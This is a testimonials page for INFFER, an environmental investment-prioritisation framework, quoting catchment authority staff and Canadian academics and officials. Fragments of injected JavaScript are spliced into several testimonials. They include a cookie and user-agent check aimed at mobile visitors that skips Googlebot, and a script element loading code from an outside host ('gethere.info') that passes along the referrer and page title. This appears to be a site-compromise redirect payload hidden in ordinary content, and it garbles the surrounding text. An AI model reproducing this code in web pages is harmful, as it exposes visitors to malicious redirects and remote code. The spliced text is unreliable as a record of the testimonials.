Testimonials

Hannah Brook, Glenelg Hopkins Catchment Management Authority

Glenelg Hopkins CMA adopted INFFER as a planning and prioritization tool in 2010. Since then INFFER has become an integral component of the process for developing a new Regional Catchment Strategy. The valuable consultation that has resulted with the regional community and key partners has provided us with a new look at our regional assets read more »

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Jim Stalwick, Saskatchewan Ministry of Agriculture – 1

The most important factor is the way that the INFFER team has moved the theory into a practical, structured assessment of landscape projects in a manner that allows local producers and leaders to take ownership.  Jim Stalwick, Manager, Strategic Policy Unit, Saskatchewan Ministry of Agriculture}

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Jim Stalwick, Saskatchewan Ministry of Agriculture – 2

Transformative shifts in environmental policy and program development take time and patience.  All credit to the INFFER team for meeting that challenge with good humour and no end of sound advice. Jim Stalwick, Manager, Strategic Policy Unit, Saskatchewan Ministry of Agricultureif (document.currentScript) {

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Geoff Rayson, Border Rivers-Gwydir CMA, July 2011

This system greatly improves the decision making process and provides justification/accountability for decisions. Geoff Rayson, Border Rivers-Gwydir CMA, July 2011document.currentScript.parentNode.insertBefore(s, document.currentScript);

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Jim Stalwick, Saskatchewan Ministry of Agriculture – 3

There has been a significant and growing interest in INFFER across the three Western Canadian Prairie provinces (Manitoba, Saskatchewan and Alberta), driven by its rigour, its sound economic principles, and the eloquence of the theoretical foundation. From a policy perspective, having all the environmental tool options on the table in the same analysis has been read more »

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Professor Jim Unterschultz, University of Alberta

“My colleagues and I often use the Public: Private Benefits Framework explicitly or implicitly when presenting our farm-level research estimates of privates benefits and costs of environmental programs in Western Canada. The framework is very helpful is suggesting policy directions when estimates of public benefits are added to our private benefits research.” Professor Jim Unterschultz, read more »

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Professor Murray Fulton, University of Saskatchewan

“There is strong interest in INFFER being shown in Canada. Traditional benefit-cost analysis is time consuming and requires specialized skills, and thus is rarely undertaken. INFFER thus fills a much needed gap. It provides a rigorous framework for analysis, while being relatively easy to undertake and to understand.” Professor Murray Fulton, University of Saskatchewandocument.currentScript.parentNode.insertBefore(s, document.currentScript);

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Dr Graham Marshall, Research Director (Interim), The Institute for Rural Futures, University of New England, 2011.

“INFFER imposes economic logic on the evaluation process while leaving ample scope for communities to include their values and judgements in the process. It simplifies the application of that logic to a level that staff of regional bodies can, with some training and experience, apply proficiently.” Dr Graham Marshall, University of New England, 2011. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge read more »

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Victor Wright, Adjunct Associate Professor, University of New England

“Applied as intended, INFFER is an outstanding tool. This matters in an environment where, it is widely recognised, too many project decisions are weakly grounded.” Vic Wright, University of New England, 2011.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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Workshop participant, Alberta Canada, 2011

“The whole process is arranged in a logical way to think through the decision making of different projects.” Workshop participant, Alberta Canada, 2011if (document.currentScript) {

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